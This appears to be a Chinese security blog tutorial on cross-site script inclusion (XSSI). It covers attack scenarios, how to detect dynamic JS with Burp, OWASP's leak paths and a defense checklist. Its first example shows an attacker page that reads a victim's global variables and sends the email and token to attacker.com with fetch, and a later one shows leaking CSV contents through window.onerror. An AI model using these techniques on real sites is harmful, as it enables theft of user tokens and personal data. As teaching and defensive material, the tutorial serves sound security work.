XSSI跨站脚本包含:受害者JS被攻击者页面偷偷嵌入的侧信道

导语:XSSI(Cross-Site Script Inclusion)和XSS名字像,但攻击方向完全反过来。XSS是把payload塞到受害者浏览器里执行;XSSI是把受害者的JS文件用<script>标签拉到攻击者控制的页面里读,靠SOP(同源策略)的盲区把数据偷走。这种攻击流量藏在合法的script请求里,WAF基本看不见,业内讨论少但实战命中率很高。

XSSI攻击示意图:攻击者页面嵌入受害者JS文件

一、XSSI 和 XSS 的本质差异

XSS的payload跑在受害者域下,所以能调document.cookie、调fetch发请求。XSSI反着来——攻击者页面在attacker.com,受害者的JS文件用script标签include进来后,会跑在attacker.com的上下文里。脚本里声明的全局变量、全局函数都能被攻击者直接读。

举个最小化例子。目标站有个/api/userinfo.js,返回内容是:

var userInfo = {
  email: "victim@example.com",
  token: "eyJhbGciOi..."
};

攻击者在自己的页面写:

<script src="https://target.com/api/userinfo.js"></script>
<script>
  // 同一上下文里直接读
  fetch("https://attacker.com/log?email=" + userInfo.email + "&token=" + userInfo.token);
</script>

如果目标站没设SameSite=Strict、没要求自定义请求头、没校验Referer,受害者浏览器带着cookie发出script请求,JS被加载,全局变量泄露,就这么两步搞定。


二、四种 XSSI 场景

2.1 静态 JS(无认证)

JS里写死了密钥、API地址、内部域名。任何人include都能读,等同于信息泄露。这种最常见也最蠢,扫一遍目标站所有.js文件就能找到。

2.2 认证后的静态 JS

文件本身不变,但只有带cookie的请求才返回完整内容。攻击必须先诱导用户登录态下访问攻击者页面,script请求自动带cookie过去。

2.3 动态 JS

最隐蔽的一类。同一个URL,未登录返回空骨架,登录后服务端把用户数据塞进去。文件URL不变、内容动态变,传统静态扫描完全发现不了。

2.4 非脚本泄漏

CSV、JSONP、纯JSON文件虽然不是JS,但通过script标签include时,JSONP会执行回调,CSV会被当成脚本语法错误暴露行内容。OWASP把它归在XSSI大类里。


三、DynamicJS 怎么挖

动态JS是XSSI的高价值目标——一旦命中,泄漏的是认证token、邮箱、订单明细这类一手数据。手工三步法:

  1. 带cookie访问目标页,记录所有加载的.js URL
  2. 用Burp Repeater去掉Cookie头重放同一个JS
  3. 对比两次响应,长度或内容有差异的就是DynamicJS
DynamicJS检测流程:带cookie请求→去掉cookie重放→对比差异

自动化工具有luh2写的DetectDynamicJS Burp插件:

# 安装后启用,被动扫描所有 .js 请求
# 工作原理:对每个 JS URL 自动发一次去 cookie 的请求,对比响应差异
# 发现后会在 Target 标签里以 Informational 级别列出

跑一遍目标站几百个JS文件,分分钟筛出真正的DynamicJS,比手工快几个量级。


四、OWASP 五大泄漏路径

OWASP测试指南里列了五种经典XSSI偷数据姿势:

  • 全局变量泄漏:JS里var config = {...}声明在顶层,include进来就能读
  • 全局函数参数泄漏:函数默认参数里塞了敏感数据,调用者能拿到
  • CSV引号转义泄漏:CSV响应被script include时报语法错误,行内容会出现在Error.message里
  • 运行时错误泄漏:JS抛错时把内部状态打到错误信息
  • prototype chaining泄漏:用this.sensitive = ...挂对象,被prototype链串读到

实战里第一种最常见,第二、第三种出现在老旧系统里值得专门翻一翻。

CSV引号转义泄漏展开讲一下。目标站 /export.csv 返回:

id,note,secret
1,"hello","AAAA-BBBB-CCCC"

攻击者页面 include:

<script src="https://target.com/export.csv"></script>

CSV第一行是合法的JS标签语法,所以会被解析;一旦解析到第三行出现AAAA-BBBB-CCCC这种带连字符的token,JS引擎会报错。错误信息里直接打印出行内容,攻击者监听window.onerror就能收。

第三种路径杀伤力强但极少见——多数现代系统已经放弃CSV当数据接口。还在用CSV的金融、政府、医疗系统是重点目标。


五、防御清单

  • 所有敏感数据走Content-Type: application/json且禁止脚本上下文读取(CORS配合)
  • Cookie统一加SameSite=Strict或Lax,杜绝跨站script请求带认证
  • 动态JS文件名随机化(一次性token),让攻击者无法构造稳定的script URL
  • 关键接口加CSRF token校验,没有自定义请求头的script请求拿不到真数据
  • CSP头限制script-src只允许同域,跨域include直接被浏览器拦

六、总结

XSSI不烧payload,不弹窗,不上WAF黑名单,看起来就是一次普通的script请求。但正是这种”普通”,让红队把它当成前端漏洞的宝藏——尤其在挖SRC和企业内网时,一个DynamicJS文件往往能直接打出整条用户数据链路。防御方最容易忽视的就是”动态JS文件该不该带用户数据”这个问题,答案是绝对不该,敏感数据走API走header,不要塞JS文件里。

原文出处:harsh-bothra/learn365 仓库 day7「Cross-Site Script Inclusion (XSSI)」 参考资源:

  • https://www.scip.ch/en/?labs.20160414
  • https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/13-Testing_for_Cross_Site_Script_Inclusion.html
  • https://github.com/luh2/DetectDynamicJS
  • https://www.mbsd.jp/Whitepaper/xssi.pdf
  • https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容